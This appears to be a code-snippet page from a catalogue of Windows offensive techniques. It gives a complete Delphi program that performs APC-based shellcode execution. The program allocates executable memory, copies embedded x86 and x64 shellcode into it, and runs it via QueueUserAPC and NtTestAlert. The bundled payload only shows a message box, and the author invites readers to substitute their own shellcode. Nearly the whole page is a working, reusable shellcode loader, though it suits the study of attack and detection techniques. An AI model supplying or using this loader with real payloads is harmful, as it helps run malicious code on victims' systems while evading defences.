(Delphi) APC injection by Jean-Pierre LESUEUR

Created the Wednesday 07 September 2022. Updated 3 weeks, 6 days ago.

Description:

This code snippet demonstrate the use of QueueUserAPC with NtTestAlert to run our shellcode.

⚠️ Embedded shellcode will show a message box on behalf of target process. It is harmless but I always recommend to avoid blindly running shellcode you may find in proof of concepts. Feel free to patch both x86-32 / x86-64 version with your own version.

Code

            // Support both x86-32 and x86-64

program APCRun;

{$APPTYPE CONSOLE}

{$R *.res}

uses
  System.SysUtils,
  WinAPI.Messages,
  WinAPI.Windows;

type
  EWindowsException = class(Exception)
  private
    FLastError : Integer;
  public
    {@C}
    constructor Create(const WinAPI : String); overload;

    {@G}
    property LastError : Integer read FLastError;
  end;


const STATUS_SUCCESS = NTSTATUS($0);

function NtTestAlert(): DWORD; stdcall; external 'ntdll.dll';

constructor EWindowsException.Create(const WinAPI : String);
var AFormatedMessage : String;
begin
  FLastError := GetLastError();

  AFormatedMessage := Format('___%s: last_err=%d, last_err_msg="%s".', [
      WinAPI,
      FLastError,
      SysErrorMessage(FLastError)
  ]);

  ///
  inherited Create(AFormatedMessage);
end;

{$IFDEF WIN64}
  // Execute a messagebox in target process (x86-64)
  const PAYLOAD : array[0..284-1] of byte = (
      $fc, $48, $81, $e4, $f0, $ff, $ff, $ff, $e8, $d0, $00, $00, $00, $41, $51,
      $41, $50, $52, $51, $56, $48, $31, $d2, $65, $48, $8b, $52, $60, $3e, $48,
      $8b, $52, $18, $3e, $48, $8b, $52, $20, $3e, $48, $8b, $72, $50, $3e, $48,
      $0f, $b7, $4a, $4a, $4d, $31, $c9, $48, $31, $c0, $ac, $3c, $61, $7c, $02,
      $2c, $20, $41, $c1, $c9, $0d, $41, $01, $c1, $e2, $ed, $52, $41, $51, $3e,
      $48, $8b, $52, $20, $3e, $8b, $42, $3c, $48, $01, $d0, $3e, $8b, $80, $88,
      $00, $00, $00, $48, $85, $c0, $74, $6f, $48, $01, $d0, $50, $3e, $8b, $48,
      $18, $3e, $44, $8b, $40, $20, $49, $01, $d0, $e3, $5c, $48, $ff, $c9, $3e,
      $41, $8b, $34, $88, $48, $01, $d6, $4d, $31, $c9, $48, $31, $c0, $ac, $41,
      $c1, $c9, $0d, $41, $01, $c1, $38, $e0, $75, $f1, $3e, $4c, $03, $4c, $24,
      $08, $45, $39, $d1, $75, $d6, $58, $3e, $44, $8b, $40, $24, $49, $01, $d0,
      $66, $3e, $41, $8b, $0c, $48, $3e, $44, $8b, $40, $1c, $49, $01, $d0, $3e,
      $41, $8b, $04, $88, $48, $01, $d0, $41, $58, $41, $58, $5e, $59, $5a, $41,
      $58, $41, $59, $41, $5a, $48, $83, $ec, $20, $41, $52, $ff, $e0, $58, $41,
      $59, $5a, $3e, $48, $8b, $12, $e9, $49, $ff, $ff, $ff, $5d, $49, $c7, $c1,
      $30, $00, $00, $00, $3e, $48, $8d, $95, $fe, $00, $00, $00, $3e, $4c, $8d,
      $85, $0b, $01, $00, $00, $48, $31, $c9, $41, $ba, $45, $83, $56, $07, $ff,
      $d5, $48, $31, $c9, $41, $ba, $f0, $b5, $a2, $56, $ff, $d5, $48, $65, $6c,
      $6c, $6f, $2c, $20, $57, $6f, $72, $6c, $64, $00, $42, $6f, $6f, $00
  );

{$ELSE}
  // Execute a messagebox in target process (x86-32)
  const PAYLOAD : array[0..236-1] of byte = (
      $d9, $eb, $9b, $d9, $74, $24, $f4, $31, $d2, $b2, $77, $31, $c9, $64, $8b,
      $71, $30, $8b, $76, $0c, $8b, $76, $1c, $8b, $46, $08, $8b, $7e, $20, $8b,
      $36, $38, $4f, $18, $75, $f3, $59, $01, $d1, $ff, $e1, $60, $8b, $6c, $24,
      $24, $8b, $45, $3c, $8b, $54, $28, $78, $01, $ea, $8b, $4a, $18, $8b, $5a,
      $20, $01, $eb, $e3, $34, $49, $8b, $34, $8b, $01, $ee, $31, $ff, $31, $c0,
      $fc, $ac, $84, $c0, $74, $07, $c1, $cf, $0d, $01, $c7, $eb, $f4, $3b, $7c,
      $24, $28, $75, $e1, $8b, $5a, $24, $01, $eb, $66, $8b, $0c, $4b, $8b, $5a,
      $1c, $01, $eb, $8b, $04, $8b, $01, $e8, $89, $44, $24, $1c, $61, $c3, $b2,
      $04, $29, $d4, $89, $e5, $89, $c2, $68, $8e, $4e, $0e, $ec, $52, $e8, $9f,
      $ff, $ff, $ff, $89, $45, $04, $68, $6c, $6c, $20, $41, $68, $33, $32, $2e,
      $64, $68, $75, $73, $65, $72, $30, $db, $88, $5c, $24, $0a, $89, $e6, $56,
      $ff, $55, $04, $89, $c2, $50, $bb, $a8, $a2, $4d, $bc, $87, $1c, $24, $52,
      $e8, $70, $ff, $ff, $ff, $68, $42, $6f, $6f, $58, $31, $db, $88, $5c, $24,
      $03, $89, $e3, $68, $58, $20, $20, $20, $68, $6f, $72, $6c, $64, $68, $6f,
      $2c, $20, $57, $68, $48, $65, $6c, $6c, $31, $c9, $88, $4c, $24, $0c, $89,
      $e1, $31, $d2, $6a, $30, $53, $51, $52, $ff, $d0, $90
  );
{$ENDIF}

var pPayload : Pointer;

begin
  try
    pPayload := VirtualAlloc(nil, Length(PAYLOAD), MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
    if not Assigned(pPayload) then
      raise EWindowsException.Create('VirtualAlloc');
    ///

    CopyMemory(pPayload, @PAYLOAD, Length(PAYLOAD));

    if not QueueUserAPC(pPayload, GetCurrentThread(), 0) then
      raise EWindowsException.Create('QueueUserAPC');

    NtTestAlert();
  except
    on E: Exception do
      Writeln(E.ClassName, ': ', E.Message);
  end;
end.